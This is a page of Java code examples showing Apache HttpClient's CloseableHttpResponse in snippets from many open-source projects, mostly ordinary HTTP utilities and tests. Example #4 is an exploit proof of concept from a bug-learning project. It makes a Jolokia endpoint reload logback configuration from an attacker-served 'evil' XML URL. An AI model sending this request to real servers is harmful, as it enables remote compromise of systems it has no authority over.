org.apache.http.client.methods.CloseableHttpResponse Java Examples

The following examples show how to use org.apache.http.client.methods.CloseableHttpResponse. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: DefaultHttpClientTemplate.java    From simple-robot-core with Apache License 2.0 7 votes vote down vote up
/**
 * 发送一个请求
 *
 * @param httpClient 连接
 * @param request    请求体
 * @return
 * @throws IOException
 */
private static String send(CloseableHttpClient httpClient, HttpUriRequest request) throws IOException {
    // 请求并获取响应值
    try (CloseableHttpResponse response = httpClient.execute(request)) {
        // 判断响应值是否为300以下
        StatusLine statusLine = response.getStatusLine();
        int statusCode = statusLine.getStatusCode();
        if (statusCode >= 300) {
            String reasonPhrase = statusLine.getReasonPhrase();
            throw new HttpResponseException("code", statusCode, reasonPhrase);
        }

        // 获取响应值
        HttpEntity entity = response.getEntity();
        String entityString = EntityUtils.toString(entity, CHARSET_UTF_8);
        EntityUtils.consume(entity);

        return entityString;
    }
}
 
Example #2
Source File: RESTServiceConnectorTest.java    From cloudstack with Apache License 2.0 6 votes vote down vote up
@Test
public void testExecuteUpdateObjectWithParameters() throws Exception {
    final TestPojo newObject = new TestPojo();
    newObject.setField("newValue");
    final String newObjectJson = gson.toJson(newObject);
    final CloseableHttpResponse response = mock(CloseableHttpResponse.class);
    when(response.getStatusLine()).thenReturn(HTTP_200_STATUS_LINE);
    final CloseableHttpClient httpClient = mock(CloseableHttpClient.class);
    when(httpClient.execute(any(HttpHost.class), any(HttpRequest.class), any(HttpClientContext.class))).thenReturn(response);
    final RestClient restClient = new BasicRestClient(httpClient, HttpClientContext.create(), "localhost");

    final RESTServiceConnector connector = new RESTServiceConnector.Builder().client(restClient).build();

    connector.executeUpdateObject(newObject, "/somepath", DEFAULT_TEST_PARAMETERS);

    verify(httpClient).execute(any(HttpHost.class), HttpUriRequestMethodMatcher.aMethod("PUT"), any(HttpClientContext.class));
    verify(httpClient).execute(any(HttpHost.class), HttpUriRequestPayloadMatcher.aPayload(newObjectJson), any(HttpClientContext.class));
    verify(httpClient).execute(any(HttpHost.class), HttpUriRequestQueryMatcher.aQueryThatContains("arg2=val2"), any(HttpClientContext.class));
    verify(httpClient).execute(any(HttpHost.class), HttpUriRequestQueryMatcher.aQueryThatContains("arg1=val1"), any(HttpClientContext.class));
}
 
Example #3
Source File: ThriftOverHttp1Test.java    From armeria with Apache License 2.0 6 votes vote down vote up
@Test
public void testNonPostRequest() throws Exception {
    final HttpUriRequest[] reqs = {
            new HttpGet(newUri("http", "/hello")),
            new HttpDelete(newUri("http", "/hello"))
    };

    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        for (HttpUriRequest r: reqs) {
            try (CloseableHttpResponse res = hc.execute(r)) {
                assertThat(res.getStatusLine().toString()).isEqualTo(
                        "HTTP/1.1 405 Method Not Allowed");
                assertThat(EntityUtils.toString(res.getEntity()))
                          .isNotEqualTo("Hello, world!");
            }
        }
    }
}
 
Example #4
Source File: JolokiaAttackForLogback.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main(String[] args) {
  String target = "http://localhost:8080";
  String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
  HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
  try {
    HttpClientBuilder httpClientBuilder = HttpClients
        .custom()
        .disableRedirectHandling()
        .disableCookieManagement()
        ;

    CloseableHttpClient httpClient = null;
    CloseableHttpResponse response = null;
    try {
      httpClient = httpClientBuilder.build();
      response = httpClient.execute(httpGet);
    } finally {
      response.close();
      httpClient.close();
    }
  } catch (Exception e) {
    e.printStackTrace();
  }

}
 
Example #5
Source File: HttpUtil.java    From flink-learning with Apache License 2.0 6 votes vote down vote up
public static String doPostString(String url, String jsonParams) throws Exception {
        CloseableHttpResponse response = null;
        HttpPost httpPost = new HttpPost(url);

        String httpStr;
        try {
            StringEntity entity = new StringEntity(jsonParams, "UTF-8");
            entity.setContentEncoding("UTF-8");
            entity.setContentType("application/json");

            httpPost.setEntity(entity);
            httpPost.setHeader("content-type", "application/json");
            //如果要设置 Basic Auth 的话
//        httpPost.setHeader("Authorization", getHeader());
            response = httpClient.execute(httpPost);
            httpStr = EntityUtils.toString(response.getEntity(), "UTF-8");

        } finally {
            if (response != null) {
                EntityUtils.consume(response.getEntity());
                response.close();
            }
        }
        return httpStr;
    }
 
Example #6
Source File: LoolFileConverter.java    From sakai with Educational Community License v2.0 6 votes vote down vote up
public static byte[] convert(String baseUrl, InputStream sourceInputStream) throws IOException {

        int timeoutMillis = 5000;
        RequestConfig config = RequestConfig.custom()
            .setConnectTimeout(timeoutMillis)
            .setConnectionRequestTimeout(timeoutMillis)
            .setSocketTimeout(timeoutMillis * 1000).build();
        CloseableHttpClient client = HttpClientBuilder.create().setDefaultRequestConfig(config).build();

        HttpPost httpPost = new HttpPost(baseUrl + "/lool/convert-to/pdf");

        HttpEntity multipart = MultipartEntityBuilder.create()
            .setMode(HttpMultipartMode.BROWSER_COMPATIBLE)
            .addBinaryBody("data", sourceInputStream, ContentType.MULTIPART_FORM_DATA, "anything")
            .build();

        httpPost.setEntity(multipart);
        CloseableHttpResponse response = client.execute(httpPost);
        byte[] convertedFileBytes = EntityUtils.toByteArray(response.getEntity());
        client.close();
        return convertedFileBytes;
    }
 
Example #7
Source File: ProcessInstanceResourceTest.java    From activiti6-boot2 with Apache License 2.0 6 votes vote down vote up
/**
 * Test suspending a single process instance.
 */
@Deployment(resources = { "org/activiti/rest/service/api/runtime/ProcessInstanceResourceTest.process-one.bpmn20.xml" })
public void testSuspendProcessInstance() throws Exception {
  ProcessInstance processInstance = runtimeService.startProcessInstanceByKey("processOne", "myBusinessKey");

  ObjectNode requestNode = objectMapper.createObjectNode();
  requestNode.put("action", "suspend");

  HttpPut httpPut = new HttpPut(SERVER_URL_PREFIX + RestUrls.createRelativeResourceUrl(RestUrls.URL_PROCESS_INSTANCE, processInstance.getId()));
  httpPut.setEntity(new StringEntity(requestNode.toString()));
  CloseableHttpResponse response = executeRequest(httpPut, HttpStatus.SC_OK);

  // Check engine id instance is suspended
  assertEquals(1, runtimeService.createProcessInstanceQuery().suspended().processInstanceId(processInstance.getId()).count());

  // Check resulting instance is suspended
  JsonNode responseNode = objectMapper.readTree(response.getEntity().getContent());
  closeResponse(response);
  assertNotNull(responseNode);
  assertEquals(processInstance.getId(), responseNode.get("id").textValue());
  assertTrue(responseNode.get("suspended").booleanValue());

  // Suspending again should result in conflict
  httpPut.setEntity(new StringEntity(requestNode.toString()));
  closeResponse(executeRequest(httpPut, HttpStatus.SC_CONFLICT));
}
 
Example #8
Source File: RefineHTTPClient.java    From p3-batchrefine with Apache License 2.0 6 votes vote down vote up
private void deleteProject(String handle) throws IOException {
    if (handle == null) {
        return;
    }

    CloseableHttpResponse response = null;

    try {
        List<NameValuePair> urlParameters = new ArrayList<NameValuePair>();
        urlParameters.add(new BasicNameValuePair("project", handle));
        response = doPost("/command/core/delete-project",
                new UrlEncodedFormEntity(urlParameters));

        // Not much of a point in checking the response as
        // it will contain "OK" no matter what happens.
    } catch (Exception e) {
        throw launderedException(e);
    } finally {
        Utils.safeClose(response);
    }
}
 
Example #9
Source File: LogoutTest.java    From keycloak with Apache License 2.0 6 votes vote down vote up
@Test
public void postLogoutWithValidIdTokenWhenLoggedOutByAdmin() throws Exception {
    oauth.doLogin("[email protected]", "password");

    String code = oauth.getCurrentQuery().get(OAuth2Constants.CODE);

    oauth.clientSessionState("client-session");
    OAuthClient.AccessTokenResponse tokenResponse = oauth.doAccessTokenRequest(code, "password");
    String idTokenString = tokenResponse.getIdToken();

    adminClient.realm("test").logoutAll();

    // Logout should succeed with user already logged out, see KEYCLOAK-3399
    String logoutUrl = oauth.getLogoutUrl()
      .idTokenHint(idTokenString)
      .postLogoutRedirectUri(oauth.APP_AUTH_ROOT)
      .build();

    try (CloseableHttpClient c = HttpClientBuilder.create().disableRedirectHandling().build();
      CloseableHttpResponse response = c.execute(new HttpGet(logoutUrl))) {
        assertThat(response, Matchers.statusCodeIsHC(Status.FOUND));
        assertThat(response.getFirstHeader(HttpHeaders.LOCATION).getValue(), is(oauth.APP_AUTH_ROOT));
    }
}
 
Example #10
Source File: HttpClientService.java    From tcc-transaction with Apache License 2.0 6 votes vote down vote up
/**
 * 执行GET请求
 *
 * @param url
 * @return
 * @throws IOException
 * @throws ClientProtocolException
 */
public String doGet(String url) throws ClientProtocolException, IOException {
    // 创建http GET请求
    HttpGet httpGet = new HttpGet(url);
    httpGet.setConfig(this.requestConfig);

    CloseableHttpResponse response = null;
    try {
        // 执行请求
        response = httpClient.execute(httpGet);
        // 判断返回状态是否为200
        if (response.getStatusLine().getStatusCode() == 200) {
            return EntityUtils.toString(response.getEntity(), "UTF-8");
        }
    } finally {
        if (response != null) {
            response.close();
        }
    }
    return null;
}
 
Example #11
Source File: TracedHttpClient.java    From aws-xray-sdk-java with Apache License 2.0 6 votes vote down vote up
@Override
public CloseableHttpResponse execute(
        final HttpUriRequest request,
        final HttpContext context) throws IOException, ClientProtocolException {
    Subsegment subsegment = recorder.beginSubsegment(determineTarget(request).getHostName());
    return wrapHttpSupplier(subsegment, () -> {
        if (null != subsegment) {
            TracedHttpClient.addRequestInformation(subsegment, request, TracedHttpClient.getUrl(request));
        }
        CloseableHttpResponse response = wrappedClient.execute(request, context);
        if (null != subsegment) {
            TracedResponseHandler.addResponseInformation(subsegment, response);
        }
        return response;
    });
}
 
Example #12
Source File: HttpUtils.java    From we-cmdb with Apache License 2.0 6 votes vote down vote up
/**
 * get请求
 *
 * @param msgs
 * @param url
 * @return
 * @throws ClientProtocolException
 * @throws UnknownHostException
 * @throws IOException
 */
public static String get(Map<String, Object> msgs, String url)
        throws ClientProtocolException, UnknownHostException, IOException {
    CloseableHttpClient httpClient = HttpClients.createDefault();
    try {
        List<NameValuePair> valuePairs = new ArrayList<NameValuePair>();
        if (null != msgs) {
            for (Entry<String, Object> entry : msgs.entrySet()) {
                if (entry.getValue() != null) {
                    valuePairs.add(new BasicNameValuePair(entry.getKey(),
                            entry.getValue().toString()));
                }
            }
        }
        // EntityUtils.toString(new UrlEncodedFormEntity(valuePairs),
        // CHARSET);
        url = url + "?" + URLEncodedUtils.format(valuePairs, CHARSET_UTF_8);
        HttpGet request = new HttpGet(url);
        CloseableHttpResponse resp = httpClient.execute(request);
        return EntityUtils.toString(resp.getEntity(), CHARSET_UTF_8);
    } finally {
        httpClient.close();
    }
}
 
Example #13
Source File: ReleaseOpenApiService.java    From apollo with Apache License 2.0 6 votes vote down vote up
public OpenReleaseDTO publishNamespace(String appId, String env, String clusterName, String namespaceName,
    NamespaceReleaseDTO releaseDTO) {
  if (Strings.isNullOrEmpty(clusterName)) {
    clusterName = ConfigConsts.CLUSTER_NAME_DEFAULT;
  }
  if (Strings.isNullOrEmpty(namespaceName)) {
    namespaceName = ConfigConsts.NAMESPACE_APPLICATION;
  }

  checkNotEmpty(appId, "App id");
  checkNotEmpty(env, "Env");
  checkNotEmpty(releaseDTO.getReleaseTitle(), "Release title");
  checkNotEmpty(releaseDTO.getReleasedBy(), "Released by");

  String path = String.format("envs/%s/apps/%s/clusters/%s/namespaces/%s/releases",
      escapePath(env), escapePath(appId), escapePath(clusterName), escapePath(namespaceName));

  try (CloseableHttpResponse response = post(path, releaseDTO)) {
    return gson.fromJson(EntityUtils.toString(response.getEntity()), OpenReleaseDTO.class);
  } catch (Throwable ex) {
    throw new RuntimeException(String
        .format("Release namespace: %s for appId: %s, cluster: %s in env: %s failed", namespaceName, appId,
            clusterName, env), ex);
  }
}
 
Example #14
Source File: JAXRSClientServerBookTest.java    From cxf with Apache License 2.0 6 votes vote down vote up
@Test
public void testNoMessageReaderFound() throws Exception {

    String endpointAddress =
        "http://localhost:" + PORT + "/bookstore/binarybooks";

    CloseableHttpClient client = HttpClientBuilder.create().build();
    HttpPost post = new HttpPost(endpointAddress);
    post.addHeader("Content-Type", "application/octet-stream");
    post.addHeader("Accept", "text/xml");
    post.setEntity(new StringEntity("Bar"));

    try {
        CloseableHttpResponse response = client.execute(post);
        assertEquals(415, response.getStatusLine().getStatusCode());
    } finally {
        // Release current connection to the connection pool once you are done
        post.releaseConnection();
    }
}
 
Example #15
Source File: HubRequestsProxyingServletTest.java    From selenium-grid-extensions with Apache License 2.0 6 votes vote down vote up
@Test
public void shouldReturnPostResponseWithProperContents() throws IOException {
    doAnswer(constructResponse(MediaType.OCTET_STREAM.toString()))
            .when(mockedFunction)
            .apply(any(HttpServletRequest.class), any(HttpServletResponse.class));

    CloseableHttpClient httpClient = HttpClients.createDefault();

    HttpPost httpPost = new HttpPost(String.format("http://localhost:%d/%s/session/%s/%s/proper/get/path/params", hubPort,
            HubRequestsProxyingServlet.class.getSimpleName(), "session_id",
            "stubbyExtension"));
    setEntityWithExpectedContent(httpPost);
    CloseableHttpResponse httpResponse = httpClient.execute(httpPost);

    verify(mockedFunction, times(1)).apply(any(HttpServletRequest.class), any(HttpServletResponse.class));

    HttpEntity httpEntity = httpResponse.getEntity();
    assertThat(httpResponse.getStatusLine().getStatusCode(), is(HttpServletResponse.SC_CREATED));
    assertThat(httpEntity.getContentType().getValue(), is(MediaType.OCTET_STREAM.toString()));

    String returnedContent = IOUtils.toString(httpEntity.getContent(), StandardCharsets.UTF_8);
    assertThat(returnedContent, is("expected_content"));
}
 
Example #16
Source File: ConfluenceRestClientTest.java    From confluence-publisher with Apache License 2.0 6 votes vote down vote up
private static CloseableHttpClient recordHttpClientForMultipleResponsesWithContentAndStatusCode(List<String> contentPayloads, List<Integer> statusCodes) throws IOException {
    CloseableHttpResponse httpResponseMock = mock(CloseableHttpResponse.class);

    List<HttpEntity> httpEntities = contentPayloads.stream().map(ConfluenceRestClientTest::recordHttpEntityForContent).collect(toList());
    when(httpResponseMock.getEntity())
            .thenReturn(httpEntities.get(0), httpEntities.subList(1, httpEntities.size()).toArray(new HttpEntity[httpEntities.size() - 1]));

    List<StatusLine> statusLines = statusCodes.stream().map((statusCode) -> recordStatusLine(statusCode, null)).collect(toList());
    when(httpResponseMock.getStatusLine())
            .thenReturn(statusLines.get(0), statusLines.subList(1, statusLines.size()).toArray(new StatusLine[statusLines.size() - 1]));

    CloseableHttpClient httpClientMock = anyCloseableHttpClient();
    when(httpClientMock.execute(any(HttpRequestBase.class))).thenReturn(httpResponseMock);

    return httpClientMock;
}
 
Example #17
Source File: ExchangesGrantRestApiTest.java    From ballerina-message-broker with Apache License 2.0 6 votes vote down vote up
@Test(dataProvider = "exchangeData")
public void testChangeOwner(String exchangeType, boolean durable) throws Exception {
    String exchangeName = "ExchangeOwnerChangeTest";

    brokerRestApiClient.createExchange(exchangeName, exchangeType, durable);

    ChangeOwnerRequest request = new ChangeOwnerRequest().owner(testUsername);

    HttpPut httpPut = new HttpPut(apiBasePath + ExchangesApiDelegate.EXCHANGES_API_PATH
                                          + "/" + exchangeName + "/permissions/owner/");
    ClientHelper.setAuthHeader(httpPut, userName, password);
    String value = objectMapper.writeValueAsString(request);
    StringEntity stringEntity = new StringEntity(value, ContentType.APPLICATION_JSON);
    httpPut.setEntity(stringEntity);

    CloseableHttpResponse response = client.execute(httpPut);
    Assert.assertEquals(response.getStatusLine().getStatusCode(), HttpStatus.SC_NO_CONTENT,
                        "Incorrect status code");

    ExchangeMetadata exchangeMetadata = brokerRestApiClient.getExchangeMetadata(exchangeName);

    Assert.assertEquals(exchangeMetadata.getOwner(), testUsername, "Incorrect owner.");

    brokerRestApiClient.deleteExchange(exchangeName);
}
 
Example #18
Source File: RetentionJob.java    From chronix.server with Apache License 2.0 6 votes vote down vote up
/**
 * Executes the job that calls the retention plugin.
 *
 * @param context the current job context
 * @throws JobExecutionException if the solr server could not be reached.
 */
@Override
public void execute(JobExecutionContext context) throws JobExecutionException {
    LOGGER.info("Starting retention job");
    JobDataMap data = context.getMergedJobDataMap();

    String url = data.getString(RetentionConstants.RETENTION_URL);
    HttpGet httpget = new HttpGet(url);

    try {
        CloseableHttpResponse response = httpClient.execute(httpget);
        LOGGER.info("Response was {}", response);
    } catch (IOException e) {
        throw new JobExecutionException("Could not execute http get request " + httpget, e);
    }

}
 
Example #19
Source File: ReviewBoardClient.java    From review-board-idea-plugin with Apache License 2.0 6 votes vote down vote up
public String contents(String href) {
    try {
        HttpRequestBase request = HttpRequestBuilder.get(href)
                .header(AUTHORIZATION, getAuthorizationHeader())
                .request();
        try (CloseableHttpClient client = HttpClientBuilder.create().setSslcontext(CertificateManager.getInstance().getSslContext()).build()) {
            CloseableHttpResponse response = client.execute(request);

            if (response.getStatusLine().getStatusCode() == HttpStatus.SC_NOT_FOUND) {
                return null;
            } else {
                return CharStreams.toString(new InputStreamReader(response.getEntity().getContent()));
            }
        }
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}
 
Example #20
Source File: HttpService.java    From arcusplatform with Apache License 2.0 6 votes vote down vote up
public static File download(URI uri, File dst, ProgressMonitor<Long> monitor) throws IOException {
   CloseableHttpResponse rsp = get(uri);
   try {
      if (rsp.getStatusLine().getStatusCode() != 200) {
         throw new IOException("http request failed: " + rsp.getStatusLine().getStatusCode());
      }

      HttpEntity entity = rsp.getEntity();
      long length = entity.getContentLength();

      try (InputStream is = entity.getContent();
           OutputStream os = new BufferedOutputStream(new FileOutputStream(dst))) {
         copy(is, os, length, monitor);
      }
      EntityUtils.consume(entity);
   } finally {
      rsp.close();
   }
   return dst;
}
 
Example #21
Source File: DecisionTableResourceTest.java    From flowable-engine with Apache License 2.0 6 votes vote down vote up
@DmnDeployment(resources = { "org/flowable/dmn/rest/service/api/repository/simple.dmn" })
public void testGetDecisionTable() throws Exception {

    DmnDecision definition = dmnRepositoryService.createDecisionQuery().singleResult();

    HttpGet httpGet = new HttpGet(SERVER_URL_PREFIX + DmnRestUrls.createRelativeResourceUrl(DmnRestUrls.URL_DECISION_TABLE, definition.getId()));
    CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_OK);
    JsonNode responseNode = objectMapper.readTree(response.getEntity().getContent());
    closeResponse(response);
    assertEquals(definition.getId(), responseNode.get("id").textValue());
    assertEquals(definition.getKey(), responseNode.get("key").textValue());
    assertEquals(definition.getCategory(), responseNode.get("category").textValue());
    assertEquals(definition.getVersion(), responseNode.get("version").intValue());
    assertEquals(definition.getDescription(), responseNode.get("description").textValue());
    assertEquals(definition.getName(), responseNode.get("name").textValue());

    // Check URL's
    assertEquals(httpGet.getURI().toString(), responseNode.get("url").asText());
    assertEquals(definition.getDeploymentId(), responseNode.get("deploymentId").textValue());
}
 
Example #22
Source File: UpdaterMain.java    From BigDataPlatform with GNU General Public License v3.0 6 votes vote down vote up
public static String getString(String url) {
    try {
        CloseableHttpClient httpclient = HttpClients.createDefault();
        HttpGet httpGet = new HttpGet(url);
        httpGet.setConfig(requestConfig);
        CloseableHttpResponse response = httpclient.execute(httpGet);
        if (response.getStatusLine().getStatusCode() == 200) {
            byte[] b = IOUtils.toByteArray(response.getEntity().getContent());
            String str = new String(b);
            return str;
        }
        return null;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }

}
 
Example #23
Source File: HttpUtil.java    From easy_javadoc with Apache License 2.0 6 votes vote down vote up
public static String get(String url) {
    if (StringUtils.isBlank(url)) {
        return null;
    }
    String result = null;
    CloseableHttpClient httpclient = null;
    CloseableHttpResponse response = null;
    try {
        httpclient = HttpClients.createDefault();
        HttpGet httpGet = new HttpGet(url);
        httpGet.setConfig(RequestConfig.custom().setSocketTimeout(SOCKET_TIMEOUT).setConnectTimeout(CONNECT_TIMEOUT).build());
        response = httpclient.execute(httpGet);
        result = EntityUtils.toString(response.getEntity());
    } catch (IOException e) {
        LOGGER.warn("请求" + url + "异常", e);
    } finally {
        HttpClientUtils.closeQuietly(response);
        HttpClientUtils.closeQuietly(httpclient);
    }
    return result;
}
 
Example #24
Source File: HomeGraphAPI.java    From arcusplatform with Apache License 2.0 6 votes vote down vote up
public void requestSync(String accessToken) {
   if(accessToken == null) {
      return;
   }

   try(Timer.Context ctxt = GoogleMetrics.startRequestSyncTimer()) {
      Map<String, String> body = ImmutableMap.of(PROP_USERAGENT, accessToken);
      String bodyStr = JSON.toJson(body);
      HttpPost post = createPost(createUrl(REQUEST_SYNC), ContentType.APPLICATION_JSON, new StringEntity(bodyStr, StandardCharsets.UTF_8));
      try(CloseableHttpClient client = httpClient()) {
         HttpEntity entity = null;
         try(CloseableHttpResponse response = client.execute(post)) {
            if(response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
               logger.warn("failed to issue requestSync for {}: {}", accessToken, response.getStatusLine().getStatusCode());
               entity = response.getEntity();
               GoogleMetrics.incRequestSyncFailures();
            }
         } finally {
            consumeQuietly(entity);
         }
      } catch(Exception e) {
         logger.warn("failed to issue requestSync for {}", accessToken, e);
         GoogleMetrics.incRequestSyncFailures();
      }
   }
}
 
Example #25
Source File: WebAppContainerTest.java    From armeria with Apache License 2.0 6 votes vote down vote up
@Test
public void japanesePath() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        try (CloseableHttpResponse res = hc.execute(new HttpGet(
                server().httpUri() + "/jsp/" + URLEncoder.encode("日本語", "UTF-8") + "/index.jsp"))) {
            assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 200 OK");
            assertThat(res.getFirstHeader(HttpHeaderNames.CONTENT_TYPE.toString()).getValue())
                    .startsWith("text/html");
            final String actualContent = CR_OR_LF.matcher(EntityUtils.toString(res.getEntity()))
                                                 .replaceAll("");
            assertThat(actualContent).isEqualTo(
                    "<html><body>" +
                    "<p>Hello, Armerian World!</p>" +
                    "<p>Have you heard about the class 'org.slf4j.Logger'?</p>" +
                    "<p>Context path: </p>" + // ROOT context path
                    "<p>Request URI: /%E6%97%A5%E6%9C%AC%E8%AA%9E/index.jsp</p>" +
                    "<p>Servlet Path: /日本語/index.jsp</p>" +
                    "</body></html>");
        }
    }
}
 
Example #26
Source File: SiteServiceImpl.java    From studio with GNU General Public License v3.0 6 votes vote down vote up
private boolean destroySitePreviewContext(String site) {
      boolean toReturn = true;
      String requestUrl = getDestroySitePreviewContextUrl(site);

      HttpGet getRequest = new HttpGet(requestUrl);
RequestConfig requestConfig = RequestConfig.custom().setExpectContinueEnabled(true).build();
getRequest.setConfig(requestConfig);

      CloseableHttpClient client = HttpClientBuilder.create().build();
      try {
          CloseableHttpResponse response = client.execute(getRequest);
          if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
              toReturn = false;
          }
      } catch (IOException e) {
          logger.error("Error while sending destroy preview context request for site " + site, e);
          toReturn = false;
      } finally {
          getRequest.releaseConnection();
      }
      return toReturn;
  }
 
Example #27
Source File: TableResourceTest.java    From activiti6-boot2 with Apache License 2.0 6 votes vote down vote up
/**
 * Test getting a single table. GET management/tables/{tableName}
 */
public void testGetTable() throws Exception {
  Map<String, Long> tableCounts = managementService.getTableCount();

  String tableNameToGet = tableCounts.keySet().iterator().next();

  CloseableHttpResponse response = executeRequest(new HttpGet(SERVER_URL_PREFIX + RestUrls.createRelativeResourceUrl(RestUrls.URL_TABLE, tableNameToGet)), HttpStatus.SC_OK);

  // Check table
  JsonNode responseNode = objectMapper.readTree(response.getEntity().getContent());
  closeResponse(response);
  assertNotNull(responseNode);
  assertEquals(tableNameToGet, responseNode.get("name").textValue());
  assertEquals(((Long) tableCounts.get(responseNode.get("name").textValue())).longValue(), responseNode.get("count").longValue());
  assertTrue(responseNode.get("url").textValue().endsWith(RestUrls.createRelativeResourceUrl(RestUrls.URL_TABLE, tableNameToGet)));
}
 
Example #28
Source File: JAXRSMultipartTest.java    From cxf with Apache License 2.0 6 votes vote down vote up
@Test
public void testMultipartRequestTooLarge() throws Exception {
    CloseableHttpClient client = HttpClientBuilder.create().build();
    HttpPost post = new HttpPost("http://localhost:" + PORT + "/bookstore/books/image");
    String ct = "multipart/mixed";
    post.setHeader("Content-Type", ct);

    HttpEntity entity = MultipartEntityBuilder.create()
        .addPart("image", new ByteArrayBody(new byte[1024 * 11], "testfile.png"))
        .build();

    post.setEntity(entity);

    try {
        CloseableHttpResponse response = client.execute(post);
        assertEquals(413, response.getStatusLine().getStatusCode());
    } finally {
        // Release current connection to the connection pool once you are done
        post.releaseConnection();
    }
}
 
Example #29
Source File: InfluxDBReporterTest.java    From metrics with Apache License 2.0 5 votes vote down vote up
@Test
public void testUploadFailedServerError(@Mocked CloseableHttpClient httpClient,
    @Mocked CloseableHttpResponse closeableHttpResponse, @Mocked StatusLine statusLine,
    @Capturing Logger logger) throws IOException, InterruptedException {
  new Expectations() {{
    httpClient.execute((HttpUriRequest) any);
    result = closeableHttpResponse;
    closeableHttpResponse.getStatusLine();
    result = statusLine;
    statusLine.getStatusCode();
    result = 500;
  }};

  MetricRegistry registry = new MetricRegistry();
  InfluxDBReporter reporter = InfluxDBReporter.builder()
      .withBaseUri(URI.create("http://localhost:8086"))
      .withDatabase("test")
      .build();
  registry.addReporter(reporter);

  Counter counter = registry.counter("counter");
  counter.inc("tag", "value");

  Thread.sleep(3000);

  new Verifications() {{
    logger.error(anyString, withInstanceOf(IOException.class));
  }};
}
 
Example #30
Source File: InfluxDbNotifier.java    From github-autostatus-plugin with MIT License 5 votes vote down vote up
/**
 * Posts a new series data point.
 *
 * @param seriesInfo the data point
 */
private synchronized void postData(String seriesInfo) {
    try (CloseableHttpClient httpclient = config.getHttpClient(false)) {
        HttpPost httppost = new HttpPost(influxDbUrlString);
        
        httppost.setEntity(new StringEntity(seriesInfo,"UTF-8"));

        if (!StringUtils.isEmpty(authorization)) {
            httppost.setHeader("Authorization", String.format("Basic %s", authorization));
        }

        try (CloseableHttpResponse response = httpclient.execute(httppost)) {
            int statusCode = response.getStatusLine().getStatusCode();

            if (statusCode > 299) {
                String statusLine = response.getStatusLine().toString();
                log(Level.WARNING, "Could not write to InfluxDB - %s", statusLine);
                log(Level.WARNING, "InfluxDB URL - %s", influxDbUrlString);
                log(Level.WARNING, "Series - %s", seriesInfo);

                HttpEntity entity = response.getEntity();
                if (entity != null) {
                    String reason = EntityUtils.toString(entity, StandardCharsets.UTF_8);
                    log(Level.WARNING, "%s", reason);
                }

            }
        }
    } catch (IOException | KeyStoreException | NoSuchAlgorithmException | KeyManagementException ex) {
        log(Level.SEVERE, ex);
    }
}